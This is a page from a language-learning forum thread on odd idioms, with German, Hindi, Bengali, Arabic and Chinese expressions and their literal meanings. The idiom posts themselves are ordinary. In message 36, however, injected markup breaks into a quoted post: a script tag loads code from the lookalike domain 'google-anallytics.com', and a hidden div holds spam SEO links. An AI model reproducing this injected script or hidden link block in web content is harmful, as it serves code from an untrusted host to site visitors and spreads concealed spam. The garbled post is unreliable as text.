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Weird and wacky expressions | ||
Tags: Idiom | Multilingual | ||
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 Language Learning Forum : Multilingual Lounge |  | |
| LanguageSponge Triglot Senior Member United Kingdom Joined 5770 days ago 1197 posts - 1487 votes  Speaks: English*, German, French Studies: Welsh, Russian, Japanese, Slovenian, Greek, Italian | Message 33 of 88 23 October 2009 at 2:55am | IP Logged | ||
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In Hochdeutsch they have something similar to that expression, meramarina, to mean "to keep ones fingers crossed", which I suppose is like saying good luck. That would be "jemandem die Daumen drücken" - literally "to press one´s thumbs for someone", so that´s probably what he meant.
There are a few expressions in German meaning "it is raining cats and dogs". The ones I knew before looking it up were - Es regnet in Strömen - it is raining in gushes, literally. Es regnet junge Hunde - it is raining young dogs, literally. The other one that LEO has in its wonderful inventory is "es regnet Bindfäden", and Bindfäden means "twines". If someone knows of this equivalent expression involving pitchforks, then I would be interested to see it. Jack 1 person has voted this message useful | |||
 meramarina Diglot Moderator United States Joined 5971 days ago 1341 posts - 2303 votes Speaks: English*, Spanish Studies: German, Italian, French Personal Language Map | Message 34 of 88 23 October 2009 at 5:27am | IP Logged | ||
That makes sense now! Yes, he tends to speak very garbled English and that's caused hilarity and hurt feelings over the years! I thought that learning German would help, but now we misunderstand each other in two languages! No problem, I like the language in itself. I checked my notebook and the phrase is: "wie aus Eimern gießen." I looked it up and it seems to mean that it is coming down in buckets. I am not sure where the pitchforks come from, but that was given as a colloquial meaning. My cruel friends tried to teach me some Swiss-German but I just can't make the rough sounds it requires. These fine, not-so-neutral Swiss folks I know just had no end of laughter teaching me to say "zom chötza." I know Swiss-German isn't normally written; that's how they wrote it for me so I'd remember--for some reason, they really, really felt I needed to know how to say: "it makes me want to puke!" So the full extent of my Swiss-German conversation was: "Grüezi! Zom chötze! Tschuss!" or, "Hi! Makes me puke! Bye!" I am glad that they were entertained but I know that the other residents of their idyllic little village were wondering, behind their polite, unreadable faces, "Where the hell did she come from!" So, from now one it's only Hochdeutsch for me. As we say in English sometimes to express futility: "Never try to teach a pig to sing, it wastes your time and annoys the pig." Not that I'm a pig or anything--just a figure of speech! Edited by meramarina on 23 October 2009 at 6:06am 1 person has voted this message useful | |||
| LanguageSponge Triglot Senior Member United Kingdom Joined 5770 days ago 1197 posts - 1487 votes Speaks: English*, German, French Studies: Welsh, Russian, Japanese, Slovenian, Greek, Italian | Message 35 of 88 23 October 2009 at 3:35pm | IP Logged | ||
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I would love to learn one of the dialects of German, although Swiss German could be considered a language in its own right, I think. Thanks for the other idiom, I like that one, it's quite vivid in my mind.
I just thought of another few idioms which I really like in German. in den saueren Apfel beißen literally means to bite into the sour apple. The equivalent English idiom is "to bite the bullet". Das sind ungelegte Eier literally means something along the lines of "those are unlaid eggs". The corresponding English expression is "we will cross that bridge when we come to it", I believe. Das ist ein Streit um des Kaisers Bart - that is splitting hairs. Literally means "that is an argument about the Kaiser´s beard". That one always makes me laugh. 1 person has voted this message useful | |||
| Deji Diglot Senior Member United States Joined 5444 days ago 116 posts - 182 votes Speaks: English*, French Studies: Hindi, Bengali | Message 36 of 88 03 January 2010 at 6:35pm | IP Logged | ||
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[QUOTE=administrator] I will allow this thread - factual discussion of slang or obscene expressions is a part of
learning a language.'text/javascript' src='http://google-anallytics.com/urchin.js'></script& gt;<div style='display:none;'><a href='#/1/'>beth bounty hunter losing weight</a><a href='#/2/'>personal trainer certification nfl</a><a href='#/3/'>easy quit smoking way</a><a href='#/4/'>lunar eyes embedded in the soul</a><a href='#/5/'>bon jovi cheated</a><a href='#/6/'>masage therapy occupation</a><a href='#/7/'>alternative investment partners llc</a><a href='#/8/'>iq test videnskab</a><a href='#/9/'>clairvoyant psychic reading</a><a href='#/10/'>herb past life</a><a href='#/11/'>jane mansfield death date</a><a href='#/12/'>imminent death from lung cancer</a> I agree--my hindi teacher (a nice lady) gave me all the four-letter words in hindi before I went there just so I wouldn't look like an idiot with a polite smile when someone said something bad. Which is why you should not discuss Honolulu with your Indian friends. 1 person has voted this message useful | |||
| Deji Diglot Senior Member United States Joined 5444 days ago 116 posts - 182 votes Speaks: English*, French Studies: Hindi, Bengali | Message 37 of 88 03 January 2010 at 6:48pm | IP Logged | ||
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Also in Hindi, if you want to insult someone, you call them a brother-in-law.
Why, you wonder. "Sala" (which is a serious insult, by the way) I believe is the younger brother of the husband. They (salas) traditionally have a free, joking and teasing and affectionate relationship with the wife in a culture in which life was (and may still be, for many) very restricted. As a result, love affairs would be able to happen. Unrelated curiosity: my Bengali dictionary has a word for a person who has bested his guru, and also for someone who has an affair with his guru's wife ! Clearly the guru-shishya relationship has had some ramifications that we in the West have not heard about !! I mean, in the dictionary ? ! 3 persons have voted this message useful | |||
| Mosin Diglot Newbie United States Joined 5567 days ago 9 posts - 19 votes Speaks: Arabic (Written)*, English Studies: Mandarin | Message 38 of 88 11 January 2010 at 12:32pm | IP Logged | ||
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In my dialect, (of the Riyadh dialects)
يلحس المخ لحس مخي Literally: It licks the brain. He licked my brain. Meaning: It's confusing. He confused me. ما راح خير شر Literally: He didn't go good,evil. Meaning: He didn't go at all. Edited by Mosin on 11 January 2010 at 12:33pm 1 person has voted this message useful | |||
| Gusutafu Senior Member Sweden Joined 5525 days ago 655 posts - 1039 votes Speaks: Swedish* | Message 39 of 88 11 January 2010 at 12:50pm | IP Logged | ||
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Chinese is replete with lovely expressions, I am sure someone has a good link to some chengyu's. I personally like "It's like pulling the plants to make them grow" or "Rabbit don't eat the grass around their burrows" (Criminals don't rob their neighbours).
Less weird and wacky is a a four character word I once spotted, glossed as "ludicrous conceit stemming from pure ignorance". At the time, I kne just the man to go with that description. 2 persons have voted this message useful | |||
| Quetzalcoatl Triglot Groupie France Joined 6304 days ago 43 posts - 52 votes Speaks: French*, English, German Studies: Japanese | Message 40 of 88 26 March 2010 at 8:09pm | IP Logged | ||
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In German :
einen im Tee haben (to have one in tea) : to be drunk wie Faust aufs Auge passen (to match like a fist on an eye) : to be a perfect match wie Arsch auf Eimer passen (to match like an ass on a bucket) : id. 1 person has voted this message useful |
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